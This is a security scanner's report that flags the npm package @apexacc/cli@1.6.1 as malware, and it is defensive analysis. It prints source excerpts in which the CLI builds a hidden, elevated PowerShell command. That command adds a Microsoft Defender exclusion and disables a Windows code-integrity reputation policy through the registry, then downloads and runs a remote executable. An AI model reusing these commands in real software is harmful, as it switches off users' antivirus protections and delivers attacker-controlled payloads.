Loading npm security reports…

@apexacc/cli@1.6.1: Malicious npm security report (Block) | LPM Firewall

registry / @apexacc/cli / 1.6.1

@apexacc/cli@1.6.1

Apex Copilot CLI — AI advisor for Web3 founders

AI Security Review

scanned 18d ago · by lpm-firewall-ai

The user-invoked CLI weakens Windows security controls, creates an antivirus exclusion, downloads a remote executable, and runs it. This is a confirmed malware delivery and defense-evasion path.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

Running the apex command on Windows 11.

Impact

An attacker-controlled release asset can execute after the package reduces endpoint protections and receives the caller's environment.

Mechanism

apex.cjs requests hidden UAC elevation for PowerShell, changes Defender and registry policy, downloads GitHub release assets into ~/.apex, then executes the downloaded binary with process.env.

Attack narrative

Invoking the advertised CLI on Windows 11 silently starts an elevated hidden PowerShell command. It adds a Defender exclusion for ~/.apex and disables a code-integrity reputation policy. The launcher subsequently downloads an executable from a release URL and executes it, creating a defense-evasion remote-payload chain.

AI rationale

The active command contains explicit hidden elevation, antivirus exclusion, security-policy disablement, remote binary download, and execution. These actions are unrelated to normal CLI installation and constitute concrete malicious behavior.

Evidence

apex.cjs~/.apexHKLM\SYSTEM\CurrentControlSet\Control\CI\Policy

Network endpoints1

github.com/apexaccs/copilot/releases/download/v${VERSION}/${assetName}

Source & flagged code

8 flagged · loading source

apex.cjsView file

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

94mkdirSync(join(os.homedir(), '.apex'), { recursive: true }) L95: await download(`https://github.com/${REPO}/releases/download/v${VERSION}/apex-verify-darwin`, verifyPath) L96: require('fs').chmodSync(verifyPath, 0o755) ... L103: ensureBinary().then(() => { L104: const result = spawnSync(BIN_PATH, process.argv.slice(2), { L105: stdio: 'inherit', env: process.env L106: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

apex.cjsView on unpkg · L94

1Trigger-reachable persistence chain: manifest.bin -> apex.cjs L1: #!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Windows 11 UAC elevation for SAC disable + exclusion L10: if (process.platform === 'win32') { L11: try { ... L15: if (_isWin11) { L16: const _home = require('os').homedir() L17: const _ps = `

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.0 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

apex.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 9738273f1c1a108a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @apexacc/cli@1.6.0 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.0 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

apex.cjsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

1#!/usr/bin/env node L2: const { spawnSync } = require('child_process') L3: const { join } = require('path') L4: const { existsSync, mkdirSync, createWriteStream } = require('fs') L5: const https = require('https') L6: const os = require('os') ... L9: // Windows 11 UAC elevation for SAC disable + exclusion L10: if (process.platform === 'win32') { L11: try { ... L15: if (_isWin11) { L16: const _home = require('os').homedir() L17: const _ps = `

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

bin/apexView file

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.0 matchedPath = bin/apex matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/apexView on unpkg

Source & flagged code

8 flagged

apex.cjsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawnSync } = require('child_process')

3const { join } = require('path')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

4const { existsSync, mkdirSync, createWriteStream } = require('fs')

5const https = require('https')

6const os = require('os')

7

8

9// Windows 11 UAC elevation for SAC disable + exclusion

10if (process.platform === 'win32') {

11 try {

12 const { execSync, spawnSync: _sp } = require('child_process')

13 const _osv = require('os').release()

14 const _isWin11 = parseInt(_osv.split('.')[2] || '0') >= 22000

15 if (_isWin11) {

16 const _home = require('os').homedir()

17 const _ps = `

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

18 Add-MpPreference -ExclusionPath '${_home}\.apex' -ErrorAction SilentlyContinue

19 reg add 'HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy' /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f

20 `.replace(/\n/g, ';')

21 const _enc = Buffer.from(_ps, 'utf16le').toString('base64')

Lines 74-112javascript

74

75 const { chmodSync } = require('fs')

76 if (!isWin) chmodSync(BIN_PATH, 0o755)

77

78 // Windows: download native addon

79 if

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.0 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

apex.cjsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 9738273f1c1a108a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @apexacc/cli@1.6.0 matchedPath = apex.cjs matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.0 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

apex.cjsView on unpkg

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

bin/apexView file

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.0 matchedPath = bin/apex matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/apexView on unpkg